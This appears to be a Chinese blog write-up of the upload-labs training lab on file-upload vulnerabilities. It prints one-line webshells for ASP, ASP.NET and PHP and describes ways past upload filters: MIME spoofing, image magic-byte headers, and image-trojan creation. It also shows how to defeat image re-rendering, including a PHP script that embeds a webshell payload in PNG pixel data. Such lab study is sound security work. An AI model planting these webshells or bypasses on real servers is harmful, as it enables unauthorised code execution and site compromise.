upload-labs

文件上传

英文:668词 | 中文:2939字

Posted by YY on March 12, 2021

漏洞概述

文件上传是Web应用的必备功能之一,比如上传头像显示个性化 上传附件共享文件上传脚本更新网站等。如果服务器配置不当或者没有进行足够的过滤,Web用户就可以上传任意文件,包括恶意脚本文件, exe 程序等,这就造成了文件上传漏洞。

各版本一句话木马

ASP(.asp): 
<%eval request("cmd")%> 

ASP.NET(.ASPX): 
<%@ Page Language="Jscript"%> <%eval(Request.Item["cmd"],"unsafe");%> 

PHP: 
<?php eval($_POST['hacker'])?> 

变形一句话:
[https://blog.csdn.net/bylfsj/article/details/101227210](https://blog.csdn.net/bylfsj/article/details/101227210)

限制与绕过

前端限制与绕过

有些Web应用的文件上传功能仅在前端用JS脚本做了检测,如检测后缀名绕过:

  1. 修改js脚本,甚至删除整个js事件
  2. Burp捉包改后缀名

MIME类型检测

PNG JPG JPEG GIF 等对应的MIME类型

  1. jpg image/jpeg

  2. png image/png

  3. gif image/gif

  4. php text/php

绕过:

1)Burp捉包改MIME类型

文件头检测

  • getimagesize()函数检测图片大小的同时检测目标文件是否是一张图片,这个函数功能会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求的,因此可以制作头几个字节是图片文件头的一句话木马即可绕过(15关)

  • exif_imagetype() 读取一个图像的第一个字节并检查其签名。

    • 图片木马制作:

      copy smile.jpg/b+info.php/a smile_info.jpg

      2LeSk6.png

    • 文件头加上一句话

      png 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 
      jpg FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 01 2c (经测试不行) 
      gif 47 49 46 38 39 61 F1 00 2C 01 F7 00 00 64 32 33 (这个也可以用47 49 46 38 39 61)
      

      2Leuh8.png

    • 属性–详细信息中加入一句话

      2Le8ns.png

    • 可以利用010editor在图片最后加一句话,再配合解析漏洞。

      2Lew3F.png

二次渲染

就是将用户上传的图片重新生成

bool imagejpeg ( resource image [, string filename [, int quality]] ) 

imagejpeg() 从 image 图像以 filename 为文件名创建一个 JPEG 图像。
image 参数是 imagecreatefromjpeg 等函数的返回值。

参考:https://www.cnblogs.com/forforever/p/13191999.html

1.1 GIF绕过
  1. 在1.gif尾部加上,然后上传

    2Lehge.png

  2. 把上传上去的图片下载下来用010打开与原图片对比,可以看到,我们在尾部加上的php代码被二次渲染后消失了

    2Le4jH.png

  3. 但是我们可以发现有一些是没有被渲染的,所以我们可以在没有被渲染的地方插入代码

    2Lezuj.png

    2LmE2F.png

  4. 在没有被渲染的地方插入代码,上传文件并下载用010打开查看我们添加的代码是否存在

    2LUaeP.png

  5. 可以看到,我们插入的代码没有被渲染,这就实现了绕过,关于绕过gif的二次渲染,我们只需要找到渲染前后没有变化的位置,然后将php代码写进去,就可以成功上传带有php代码的图片了

    2LUrWQ.png

2. PNG 绕过

png图片由三个以上的数据块组成。

两种类型的数据块:

  1. 关键数据块:

  2. 辅助数据块:PLTE

  • 方法一:写入IDAT数据块

    1. 直接在本地运行脚本,生成1.png图片

      <?php 
      $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); 
      $img = imagecreatetruecolor(32, 32); 
      for ($y = 0; $y < sizeof($p); $y += 3) { 
          $r = $p[$y]; 
          $g = $p[$y+1]; 
          $b = $p[$y+2]; 
          $color = imagecolorallocate($img, $r, $g, $b); 
          imagesetpixel($img, round($y / 3), 0, $color); 
      }
      imagepng($img,'./1.png'); ?>
      

      2LaytO.png

    2. 上传1.png图片,在服务器上可以看到我们上传的文件,用010打开,可以发现里面有php代码

      2La21H.png

    3. 利用

      2La74S.png

  • 方法二:写入PLTE数据块

    PHP底层对png的PLTE数据块进行验证时,主要验证了其src,可以在PLET数据块写入一句话,再重新计算此数据块的src值替换原先的src值, 这种方式只针对索引彩色图像的png图片才有效,在选取png图片时可根据IHDR数据块的color type辨别.03 为索引彩色图像.

    参考:https://www.pianshen.com/article/81111669417/